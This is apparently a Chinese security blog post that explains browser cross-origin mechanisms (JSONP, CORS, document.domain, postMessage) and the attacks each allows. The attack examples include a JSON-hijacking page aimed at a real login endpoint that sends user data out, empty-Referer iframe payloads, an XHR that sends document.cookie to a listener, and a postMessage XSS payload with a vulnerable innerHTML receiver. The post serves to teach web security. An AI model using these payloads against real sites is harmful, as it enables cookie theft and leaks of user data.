因为同源策略的限制,在某些情况下我们要突破这个限制,就要跨域。

总结了一些跨域,并结合了简单的攻击场景。

跨域

只要协议、域名、端口有任何不同都属于不同的域。

方法

具备src的标签

所有具备src的HTML标签都是可以实现跨域的。

也是我们进行XSS攻击时最常用的。

但是为了安全起见,可以使用CSP来做限制。

  • 当然,也可以利用CSP来防护XSS,但是有时因为一些网站代码编写的问题,很难将CSP配的很安全。

JSONP跨域

因为上面那个条件的存在,所以script标签是可以实现跨域的,可以直接回掉当前脚本的函数,但是需要服务端的支持。

前端代码:

1
2
3
4
5
6
<script type="text/javascript">
function test(jsondata){
alert(jsondata);
}
</script>
<script src="http://127.0.0.1:10085/index.php?callback=test"></script>

后端代码

1
2
3
4
5
 <?php  
$callback = $_GET['callback'];
$data = array("a", "b", "c");
echo $callback."(".json_encode($data).")";
?>
攻击
  • json劫持攻击

    这个我觉得应该是属于CSRF漏洞,利用json劫持来获取用户的敏感信息。

    比如说:hack.html

    1
    2
    3
    4
    5
    6
    <script>
    function wooyun(v){
    $.get("xxx", v ,) //将信息打到自己的平台,或者直接记录下来
    }
    </script>
    <script src="http://js.login.360.cn/?o=sso&m=info&func=wooyun"></script>

    诱导用户点击,当接口没有做很好的验证,那么就可窃取敏感信息。

    • Referer过滤不严谨

    • 空Referer

      通过跨协议调用js时,发送的http请求里面referer为空。

      1
      2
      3
      <iframe src="javascript:'<script>function JSON(o){alert(o.userinfo.userid);}</script><script src=http://www.qq.com/login.php?calback=JSON></script>'"></iframe>

      <a href="javascript:'<script>function JSON(o){alert(1);}</script><script src=http://127.0.0.1:10086/?calback=JSON></script>'">M
  • callback可定义

    1
    http://127.0.0.1/?index.php?callback=<script>alert(1);</script>
  • jsonp内容可定义

    这两个产生的攻击效果其实差不多,都是以为输出可控导致一些安全问题。

  • Content-type不为json

    比如说直接利用callback输出NHTML或者flash的攻击。

跨域资源共享

具体可参考http://www.ruanyifeng.com/blog/2016/04/cors.html

需要注意的是如果目标站没有Access-Control-Allow-Origin设置允许

但是无论简单请求还是复杂请求,都会有请求打出来,简单请求是发送出来然后有没有返回的区别,复杂请求呢,是先发送个预检请求(option),来判断是否有相应的允许,如果有,则继续发送,如果没有则失败,也就是说服务端会接到请求,但是没有返回。

如果利用XSS实现一些攻击,还是可以把请求打出去的。

1
2
3
4
5
6
7
8
9
10
<?php
setcookie("admin", "test");
?>
<script type="text/javascript">
var url = 'http://127.0.0.1:10086/'+escape(document.cookie);
var xhr = new XMLHttpRequest();
xhr.open('PUT', url, true);
xhr.setRequestHeader('X-Custom-Header', 'value');
xhr.send();
</script>

这是一个复杂请求,通过监听端口

还是把cookie打了出来。

document.domain

在相同主域名下不同子域名间实现跨域。

方法:

http://a.example.com/a.html中设置

1
2
3
4
5
6
7
<iframe id = "iframe" src="http://b.example.com/b.html" onload = "test()"></iframe>
<script type="text/javascript">
document.domain = 'example.com';//设置成主域
function test(){
alert(document.getElementById('iframe').contentWindow);//contentWindow 可取得子窗口的 window 对象
}
</script>

http://b.example.com/b.html中设置

1
2
3
<script type="text/javascript">
document.domain = 'example.com';//在iframe载入这个页面也设置document.domain,使之与主页面的document.domain相同
</script>

postMesage

postMesage是HTML5新增的方法,通过监听message事件来监听信息,实现跨域。

1
otherWindow.postMessage(message, targetOrigin, [transfer]);
  • otherWindow

其他窗口的一个引用,比如iframe的contentWindow属性、执行window.open返回的窗口对象、或者是命名过或数值索引的window.frames。

  • message

将要发送到其他 window的数据。它将会被结构化克隆算法序列化。这意味着你可以不受什么限制的将数据对象安全的传送给目标窗口而无需自己序列化。

  • targetOrigin

通过窗口的origin属性来指定哪些窗口能接收到消息事件,其值可以是字符串”*”(表示无限制)或者一个URI。在发送消息的时候,如果目标窗口的协议、主机地址或端口这三者的任意一项不匹配targetOrigin提供的值,那么消息就不会被发送;只有三者完全匹配,消息才会被发送。这个机制用来控制消息可以发送到哪些窗口;例如,当用postMessage传送密码时,这个参数就显得尤为重要,必须保证它的值与这条包含密码的信息的预期接受者的origin属性完全一致,来防止密码被恶意的第三方截获。如果你明确的知道消息应该发送到哪个窗口,那么请始终提供一个有确切值的targetOrigin,而不是*。不提供确切的目标将导致数据泄露到任何对数据感兴趣的恶意站点。

  • transfer可选

是一串和message 同时传递的 Transferable对象. 这些对象的所有权将被转移给消息的接收方,而发送一方将不再保有所有权。

http://127.0.0.1:10080/test.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<body>  
<iframe id="proxy" src="http://127.0.0.1:10085/index.php" onload = "postMsg()" style="display: none" ></iframe>
<script type="text/javascript">
var obj = {
msg: 'hello world'
}
function postMsg (){
var iframe = document.getElementById('proxy');
var win = iframe.contentWindow;
win.postMessage(obj,'*');
}
</script>
</body>

http://127.0.0.1:10085/index.php

1
2
3
4
5
6
7
8
<head>
<title></title>
<script type="text/javascript">
window.onmessage = function(e){
alert(e.data.msg+" from "+e.origin);
}
</script>
</head>
攻击
  • 伪造请求端

    请求端

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <body>  
    <iframe id="proxy" src="http://127.0.0.1:10085/index.php" onload = "postMsg()" style="display: none" ></iframe>
    <script type="text/javascript">
    function postMsg (){
    var iframe = document.getElementById('proxy');
    var win = iframe.contentWindow;
    win.postMessage("<svg/onload=alert(document.cookie)>",'*');
    }
    </script>
    </body>

    接收端

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <html>
    <head>
    <title></title>
    <script type="text/javascript">
    window.addEventListener('message',function(event){
    document.getElementById("content").innerHTML = event.data;
    }, false );
    </script>
    </head>
    <body>
    <div id="content"></div>
    </body>
    </html>

    这样是造成了XSS攻击,当然,还有可能会造成敏感信息获取,类似jsonp劫持。

    这里在构造payload的时候遇到一个问题,就是请求端不能直接利用<script>alert(1);</script>,然后zblee大佬给我发了篇文章,http://blog.lnyas.xyz/?p=1349.

  • 伪造接收端

    其实实现是差不多的,只不过一个是利用服务端验证来攻击,一个理由请求端的接受端地址可能来攻击,在接受端将信息打出去即可。

参考:

1
2
http://blog.knownsec.com/2015/03/jsonp_security_technic/
https://p0sec.net/index.php/archives/124/